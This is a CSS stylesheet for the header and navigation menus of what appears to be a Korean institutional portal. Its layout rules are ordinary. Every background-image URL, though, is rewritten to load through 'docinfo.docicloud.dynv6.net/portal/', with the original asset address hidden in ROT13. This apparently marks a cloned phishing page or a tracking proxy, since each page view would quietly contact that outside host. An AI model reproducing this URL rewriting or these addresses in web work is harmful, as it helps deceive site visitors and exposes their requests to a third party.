@charset "utf-8";
#header-wrap.sub-head .wrap{width:1200px;}
@media (max-width: 1380px){
	#header-wrap.sub-head .wrap {
    width: 98%;
    }
}
@media (max-width: 1260px){
	#header-wrap.sub-head .wrap {
    width: 95%;
    }
}

.wsize {
	width: 100%;
	margin: 0 auto;
	text-align: left;
}
/* 상단영역 */
#head {
	position: relative;
	display: block;
	width: 100%;
	height: 200px;
	z-index: 50;
}
#head #utilmenu {
	float: right;
	font-size: 14.6px;
	margin: 18px 0 0 0;
	letter-spacing: -1px;
}
#head #utilmenu > ul > li {
	float: left;
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba2.cat") no-repeat 20px 20px;
	margin-right: 10px;
}
#head #utilmenu > ul > li a {
	padding: 0;
	color: #aaaaaa;
	line-height: 34px;
	display: block;
}
#head #utilmenu > ul > li a:hover {
	text-decoration: underline;
}
#head #utilmenu > ul > li#ins {
	background-position: 0px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
#head #utilmenu > ul > li#face {
	background-position: -45px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
#head #utilmenu > ul > li#youtube {
	background-position: -90px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
#head #utilmenu > ul > li#blog {
	background-position: -135px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}

/*20201120 추가*/
#head #utilmenu_01 {
	float: right;
	font-size: 14.6px;
	margin: 18px 0 0 0;
	letter-spacing: -1px;
}
#head #utilmenu_01 > ul > li {
	float: left;
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba2.cat") no-repeat 20px 20px;
	margin-right: 10px;
}
#head #utilmenu_01 > ul > li a {
	padding: 0;
	color: #8d8d8d;
	line-height: 34px;
	display: block;
}
#head #utilmenu_01 > ul > li a:hover {
	text-decoration: underline;
}
#head #utilmenu_01 > ul > li#ins_01 {
	background-position: 0px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
#head #utilmenu_01 > ul > li#face_01 {
	background-position: -45px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
#head #utilmenu_01 > ul > li#youtube_01 {
	background-position: -90px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
/*20201125 추가*/
#head #utilmenu_01 > ul > li#blog_01 {
	background-position: -136px -130px;
	width: 35px;
	height: 35px;
	text-indent: -9999px;
}
/*20190417 추가*/
#head .section {
	width: 100%;
	padding: 20px 0;
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Scnggrea.cat") repeat-x bottom;
	overflow: hidden;
}
#head .section h1#logo {
	width: 386px;
	text-align: center;
	margin: 0 auto;
}
#head .section .allbtn {
	position: relative;
	float: right;
	margin-top: 40px;
	padding-left: 28px;
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sjjj.qfneg.be.xe%2Svzt%2Spbzzba%2Snyyzrah_yvar.tvs") no-repeat left 0;
	z-index: 5;
}
.hamburger {
	top: 0;
	left: 0;
	display: flex;
	align-self: center;
	flex-direction: column;
	justify-content: space-between;
	width: 18px;
	cursor: pointer;
}
.hamburger div {
	align-self: flex-end;
	height: 2px;
	width: 100%;
	margin-bottom: 4px;
	background: #000;
}
.hamburger .meat {
	width: 75%;
	transition: all 200ms ease-in-out;
}
.hamburger .bottom-bun {
	width: 50%;
	transition: all 400ms ease-in-out;
}
.hamburger:hover div {
	width: 100%;
}
.hamburger:hover .top-bun {
	animation: burger-hover 1s infinite ease-in-out alternate;
}
.hamburger:hover .meat {
	animation: burger-hover 1s infinite ease-in-out alternate forwards 200ms;
}
.hamburger:hover .bottom-bun {
	animation: burger-hover 1s infinite ease-in-out alternate forwards 400ms;
}
 @keyframes burger-hover {
 0% {
width: 100%;
}
 50% {
width: 50%;
}
 100% {
width: 100%;
}
}
/* 메뉴 */
#menu_navi {
	position: absolute;
	top: 130px;
	left: 0;
	width: 100%;
	height: 70px;
	display: block;
	/*overflow: hidden;*/
	z-index: 4;
} 
#menu_navi #menu_area {
	width: 1330px;
	margin: 0 auto;
}
#menu_navi #menu_area>ul {
	width: 900px;
	float: left;
	padding: 20px 0 0 0;
}
#menu_navi #menu_area > ul > li {
	float: left;
	margin: 0 0.5%;
	width: 15%;
	height: 50px;
	font-size: 16pt;
	letter-spacing: -1px;
	text-align: center;
	position: relative;
}
#menu_navi #menu_area > ul.damoa > li:first-child {
	width: 26%;
}
#menu_navi #menu_area > ul.damoa > li {
	width: 17%;
}
#menu_navi #menu_area>ul>li>a:after {
	display: block;
	content: "";
	width: 100%;
	height: 380px;
	/*background-color: #fff;*/
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Szrah_fot.tvs") repeat-x top;
	transform: scale(0, 1);
	transition: all 0.3s ease;
	position: absolute;
	left: 0;
	top: 50px;
}
#menu_navi #menu_area>ul>li>a.active, #menu_navi #menu_area>ul>li>a:hover {
}
#menu_navi #menu_area>ul>li>a.active:after, #menu_navi #menu_area>ul>li>a:hover:after {
	/*transform: scale(1, 1);*/
}
#menu_navi #menu_area>ul>li .two_depth {
	position: absolute;
	z-index: 1;
	width: 100%;
	left: 0;
	top: 50px;
	padding: 0;
	margin: 0;
	text-align: center;
	opacity: 1;
	display: none;
	background:#fff;
}
#menu_navi #menu_area>ul>li .two_depth ul li {
	/*margin-top: 4px;*/
	text-align: center;
	line-height: 16px;
	padding: 10px 0;
	border-bottom:1px solid #ededed;
}
#menu_navi #menu_area>ul>li .two_depth ul li:first-child {
	margin-top: 0;
	border-top:3px solid #275eb0;
}
#menu_navi #menu_area>ul>li .two_depth ul li a {
	color: #666;
	font-size: 12.4pt;
	letter-spacing: -1pt;
	line-height: 20px;
}
#menu_navi #menu_area > ul > li .two_depth ul li a em {
	display: block;
}
#menu_navi #menu_area>ul>li .two_depth ul li a:hover {
	color: #005cb3;
	text-decoration: underline;
}
#menu_navi.active {
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Szrah_zot.tvs") repeat-x top;
}
#menu_navi #menu_area > ul > li .menu_navi_title {
    position: absolute;
    top: 15px;
    left: 900px;
    line-height: 20px;
    color: #888;
    font-size: 16px;
    z-index: 5;
    text-align: center;
    width: 400px;
	height: 240px;
    background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Sfw_punenpgre.cat") no-repeat center bottom;
}
.header_dimmed {
	z-index: 9;
	width: 100%;
	height: 100%;
	position: fixed;
	top: 0;
	left: 0;
	display: none;
@include opacity(0);
	background-color: #000;
}
.nav-bar-container {
	display: none;
}
.layer-container {
	display: none;
}
/********************테블릿********************/
@media(max-width:1024px) {
.nav-bar-container {
	display: block;
}
.layer-container {
	display: block;
}
.wsize {
	display: block;
	width: 100%;
}
/* 상단영역 */
#head {
	min-width: 320px;
	height: 110px;
}
#head .section h1#logo {
	float: none;
	text-align: center;
}
#head .section h1#logo img {
	height: 70px;
}
#head .section .allbtn {
	display: none;
}
/* 메뉴 */
#menu_navi {
	display: none;
	float: left;
}
.header_dimmed {
	display: none;
}
/* 모바일메뉴 */
@-webkit-keyframes "spin" {
100% {
-webkit-transform:rotate(-360deg);
transform:rotate(-360deg);
}
}
@keyframes "spin" {
100% {
-webkit-transform:rotate(-360deg);
transform:rotate(-360deg);
}
}
.nav-bar-container:after, .nav-bar-container:before {
	content: " ";
	display: table;
}
.nav-menu {
	position: absolute;
	right: 10px;
	top: 0;
	padding: 15px 15px 0 0;
	width: 20px;
	cursor: pointer;
	z-index: 9;
}
.nav-menu.active {
	position: fixed;
}
.nav-menu .hamburger {
	width: 26px;
	height: 16px;
	position: relative;
	margin: 0 auto
}
.nav-menu .hamburger .patty {
	position: absolute;
	left: 0;
	width: 20px;
	height: 2px;
	-webkit-transform: translate3d(0, 0, 0);
	transform: translate3d(0, 0, 0);
	-webkit-transition: all .3s cubic-bezier(.17, .67, .6, 1.3);
	transition: all .3s cubic-bezier(.17, .67, .6, 1.3);
	background: #000;
}
.nav-menu .hamburger .patty:nth-child(1) {
	top: -7px;
	left: -15px;
	opacity: 0;
	-webkit-transition-delay: .3s;
	transition-delay: .3s
}
.nav-menu .hamburger .patty:nth-child(2) {
	top: 0;
	left: -15px;
	opacity: 0;
	-webkit-transition-delay: .2s;
	transition-delay: .2s
}
.nav-menu .hamburger .patty:nth-child(3) {
	top: 7px;
	left: -15px;
	opacity: 0;
	-webkit-transition-delay: .1s;
	transition-delay: .1s
}
.nav-menu .hamburger .patty:nth-child(4) {
	top: -7px;
	opacity: 1;
	-webkit-transition-delay: .3s;
	transition-delay: .3s
}
.nav-menu .hamburger .patty:nth-child(5) {
	top: 0;
	opacity: 1;
	-webkit-transition-delay: .2s;
	transition-delay: .2s
}
.nav-menu .hamburger .patty:nth-child(6) {
	top: 7px;
	opacity: 1;
	-webkit-transition-delay: .1s;
	transition-delay: .1s
}
.nav-menu:hover .patty {
	-webkit-transform: translate3d(15px, 0, 0);
	transform: translate3d(15px, 0, 0)
}
.nav-menu:hover .patty:nth-child(1) {
	opacity: 1;
	-webkit-transition-delay: .1s;
	transition-delay: .1s
}
.nav-menu:hover .patty:nth-child(2) {
	opacity: 1;
	-webkit-transition-delay: .2s;
	transition-delay: .2s
}
.nav-menu:hover .patty:nth-child(3) {
	opacity: 1;
	-webkit-transition-delay: .3s;
	transition-delay: .3s
}
.nav-menu:hover .patty:nth-child(4) {
	opacity: 0;
	-webkit-transition-delay: .1s;
	transition-delay: .1s
}
.nav-menu:hover .patty:nth-child(5) {
	opacity: 0;
	-webkit-transition-delay: .2s;
	transition-delay: .2s
}
.nav-menu:hover .patty:nth-child(6) {
	opacity: 0;
	-webkit-transition-delay: .3s;
	transition-delay: .3s
}
.nav-menu.active {
	z-index: 11;
}
.nav-menu.active .patty:nth-child(1) {
	opacity: 1;
	-webkit-transform: rotateZ(45deg) translate(17px, -8px);
	transform: rotateZ(45deg) translate(17px, -8px)
}
.nav-menu.active .patty:nth-child(3) {
	opacity: 1;
	-webkit-transform: rotateZ(-45deg) translate(18px, 7px);
	transform: rotateZ(-45deg) translate(18px, 7px)
}
.nav-menu.active .patty:nth-child(2), .nav-menu.active .patty:nth-child(4), .nav-menu.active .patty:nth-child(5), .nav-menu.active .patty:nth-child(6), .nav-menu.active:hover .patty:nth-child(4), .nav-menu.active:hover .patty:nth-child(5), .nav-menu.active:hover .patty:nth-child(6) {
	opacity: 0
}
.nav-menu.active.rotating .hamburger {
	-webkit-animation: spin .8s;
	animation: spin .8s;
	-webkit-transform-origin: 50% 30%;
	-ms-transform-origin: 50% 30%;
	transform-origin: 50% 30%
}
.nav-menu.loading .patty {
	opacity: 0 !important
}
.nav-menu.loading .patty:nth-child(5) {
	top: -11px;
	opacity: 1 !important;
	background-color: transparent;
	border: 3px solid #3e50b4;
	border-top-color: transparent;
	border-left-color: transparent;
	border-radius: 50%;
	width: 26px;
	height: 26px;
	-webkit-animation: spin .3s infinite linear;
	animation: spin .3s infinite linear
}
.overlay {
	display: none;
	position: fixed;
	z-index: 2;
	top: 0;
	right: 0;
	width: 100%;
	height: 100%;
	overflow: hidden;
}
.overlay .starting-point {
	position: absolute;
	top: 30px;
	right: -10px;
	z-index: 2;
	width: 30px;
	height: 30px;
	border-radius: 100%
}
.overlay .starting-point span {
	position: absolute;
	display: inline-block;
	-webkit-transform: translateZ(0) scale(0);
	transform: translateZ(0) scale(0);
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
	will-change: transform;
	-webkit-transform-origin: 50% 50%;
	-ms-transform-origin: 50% 50%;
	transform-origin: 50% 50%;
	border-radius: 50%
}
.overlay.overlay-search, .overlay.overlay-user {
	z-index: 10
}
.overlay.overlay-nav {
	z-index: 10;
	width: 320px
}
.overlay.overlay-search .starting-point {
	top: 110px
}
.overlay.overlay-user .starting-point {
	top: auto;
	bottom: 15px
}
.overlay.overlay-user .logo {
	bottom: auto;
	top: 100px
}
.menu-layer, .overlay-secondary {
	position: fixed;
	top: 0;
	height: 100%;
}
.overlay.active {
	display: block
}
.overlay-secondary {
	z-index: -1;
	visibility: hidden;
	left: 0;
	width: 100%;
	background: rgba(0, 0, 0, .7);
	opacity: 0;
	-webkit-transition: visibility 0s linear, opacity .5s cubic-bezier(.35, 0, .25, 1) 250ms;
	transition: visibility 0s linear, opacity .5s cubic-bezier(.35, 0, .25, 1) 250ms
}
.overlay-secondary.fade-in {
	visibility: visible;
	z-index: 9;
	opacity: 1
}
.overlay .logo {
	display: block;
	position: absolute;
	z-index: 2;
	top: 12px;
	left: 20px;
	font-size: 0;
	line-height: 0;
}
.overlay .logo img {
	width: 210px;
}
.overlay #mutilmenu {
    width: 85%;
    margin: 0 auto;
    position: relative;
    z-index: 10;
    top: 70px;
	overflow: hidden;
}
.overlay #mutilmenu li {
    float: left;
    margin-right: 4px;
    width: 32.2%;
}
.overlay #mutilmenu li:last-child {
	margin-right: 0;
}
.overlay #mutilmenu li a {
    display: block;
    border: 1px solid #fff;
    padding: 2px 0;
    font-size: 9.4pt;
    color: #fff;
    border-radius: 3px;
    box-sizing: border-box;
	text-align: center;
    letter-spacing: -1px;
}
.menu-layer {
	display: none;
	z-index: 11;
	top: 75px;
	right: 0;
	background: 0 0;
	width: 320px;
	visibility: hidden;
	-webkit-transition: background .2s cubic-bezier(.35, 0, .25, 1) 100ms;
	transition: background .2s cubic-bezier(.35, 0, .25, 1) 100ms;
	overflow: hidden
}
.menu-layer.active {
	visibility: visible;
	z-index: 1300;
	-webkit-overflow-scrolling: touch
}
.menu-layer.activating {
	display: block
}
.menu-layer .tit_w {
    padding-left: 14px;
    height: 80px;
    background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Szzrah_gvg_ot.cat") no-repeat 98% bottom;
    background-size: 25%;
}
.menu-layer .tit_w .txt {
	padding-top: 23px;
	font-size: 11pt;
	line-height: 20px;
	color: #888;
	letter-spacing: -1pt;
}
.menu-layer .tit_w .tit {
	padding-top: 7px;
	font-size: 0;
	line-height: 0;
	display: none;
}
.menu-layer .tit_w .tit img {
	width: 108px;
}
.menu-layer > ul {
    position: relative;
    width: 90%;
    margin: 0 auto 0px;
    border-top: 1px solid #dfdfdf;
    border-bottom: 1px solid #dfdfdf;
    box-sizing: border-box;
}
.menu-layer > ul > li > a {
	/*display: inline-block;*/
	display: inline-table;
	width: 80%;
	height: 65px;
	line-height: 38px;
	font-size: 15px;
	letter-spacing: -1pt;
	color: #222;
	border-bottom: 1px solid #dfdfdf;
	padding: 12px 6px 10px 15px;
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Szzrah_ba.cat") no-repeat 0 50%;
	background-size: 0;
}
.menu-layer > ul > li > a > em {
	display: block;
}
.menu-layer > ul > li:last-child > a {
	border-bottom: none;
}
.menu-layer>ul>li>a.on {
	color: #005cb3;
	background-size: 4px 4px;
}
.menu-layer > ul > li > div {
	position: absolute;
	top: 0;
	right: 0;
	width: 158px;
	height: 100%;
	background: #efefef;
	padding: 0;
	overflow-y:auto;
}
.menu-layer>ul>li>div>ul>li {
	width: 100%;
	margin-bottom: 8px;
}
.menu-layer > ul > li > div > ul > li > a {
	display: block;
	font-size: 15px;
	letter-spacing: -1pt;
	color: #333;
	line-height: 18px;
	padding: 5px 17px;
}
.menu-layer > ul > li > div > ul > li > a:hover {
	color: #000;
	font-weight: bold;
}
.menu-layer > ul > li > div > ul > li > ul.depth3 {
    margin: 0 10px;
    padding: 5px 10px;
	background: #fff;
	border-top: 1px solid #dfdfdf;
	border-bottom: 1px solid #dfdfdf;
}
.menu-layer > ul > li > div > ul > li > ul.depth3 > li {
	font-size: 9pt;
	line-height:1.2;
	padding: 0;
	letter-spacing: -1pt;
    margin-bottom: 10px;
    position:relative;
    padding-left:3px;
}


.menu-layer > ul > li > div > ul > li > ul.depth3 > li:last-child{
	margin-bottom:0;
}

.menu-layer > ul > li > div > ul > li > ul.depth3 > li:before{
	content:''; 
	position:absolute;
	top:5px;
	left:-3px;
	background:#ddd;
	width:2px;
	height:2px;
}


.menu-layer > ul > li > div > ul > li > ul.depth3 > li a {
    color: #666;
    /*
    padding-left: 7px;
    background-size: 4px;
    background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Spff%2S..%2Svzntrf%2Spbzzba%2Scbvag.tvs") no-repeat 0 6px;
    */    
    word-break: break-all;
}



.menu-layer > ul > li > div > ul > li > ul.depth3 > li a:hover {
	color: #000;
}
.menu-layer .tit_w, .menu-layer>ul {
	visibility: hidden;
	opacity: 0;
	-webkit-transform: scale(.8) translate3d(-40px, 0, 0);
	transform: scale(.8) translate3d(-40px, 0, 0);
	-webkit-transform-origin: left;
	-ms-transform-origin: left;
	transform-origin: left;
	-webkit-transition: visibility 80ms cubic-bezier(.35, 0, .25, 1), opacity 80ms cubic-bezier(.35, 0, .25, 1), -webkit-transform 250ms cubic-bezier(.35, 0, .25, 1);
	transition: visibility 80ms cubic-bezier(.35, 0, .25, 1), opacity 80ms cubic-bezier(.35, 0, .25, 1), transform 250ms cubic-bezier(.35, 0, .25, 1);
}
.menu-layer.active .tit_w, .menu-layer.active>ul {
	-webkit-transition: all .5s cubic-bezier(.35, 0, .25, 1) 300ms;
	transition: all .5s cubic-bezier(.35, 0, .25, 1) 300ms;
	-webkit-transform: scale(1) translate3d(0, 0, 0);
	transform: scale(1) translate3d(0, 0, 0);
	visibility: visible;
	opacity: 1;
}
.nav-menu.active .patty {
	background: #fff
}
.overlay .starting-point span {
	background-color: #005cb3
}
.layer-container .menu-layer {
	text-align: left;
}
.layer-container .menu-layer.active {
	background: #fff;
	top: 110px;
	overflow: hidden;
	overflow-y: auto;
}

/*다모아모바일 메뉴 추가*/
.menu-layer > ul.damoa {
	/* height: 166px; */
}
.menu-layer > ul.damoa > li > div {
	/* height: 164px; */
}
.menu-layer > ul.damoa > li > div#mmenu_list1 > ul, 
.menu-layer > ul.damoa > li > div#mmenu_list2 > ul, 
.menu-layer > ul.damoa > li > div#mmenu_list3 > ul, 
.menu-layer > ul.damoa > li > div#mmenu_list4 > ul, 
.menu-layer > ul.damoa > li > div#mmenu_list5 > ul,
.menu-layer > ul.damoa > li > div#mmenu_list6 > ul {
	margin-top: 10px;
}
/*마이페이지추가*/
.menu-layer > ul.plus {
	height: 406px;
}
.menu-layer > ul.plus div {
	height: 404px;
}
.menu-layer > ul.damoa_plus {
	height: 206px;
}
.menu-layer > ul.damoa_plus div {
	height: 204px;
}
.menu-layer > ul.damoa_plus > li > div#mmenu_list5 > ul {
	margin-top: 57px;
}

/********************모바일********************/
@media(max-width:480px) {
#head {
	height: 100px;
}
#head .section h1#logo {
	width: 320px;
}
#head .section h1#logo img {
	height: 60px;
}
}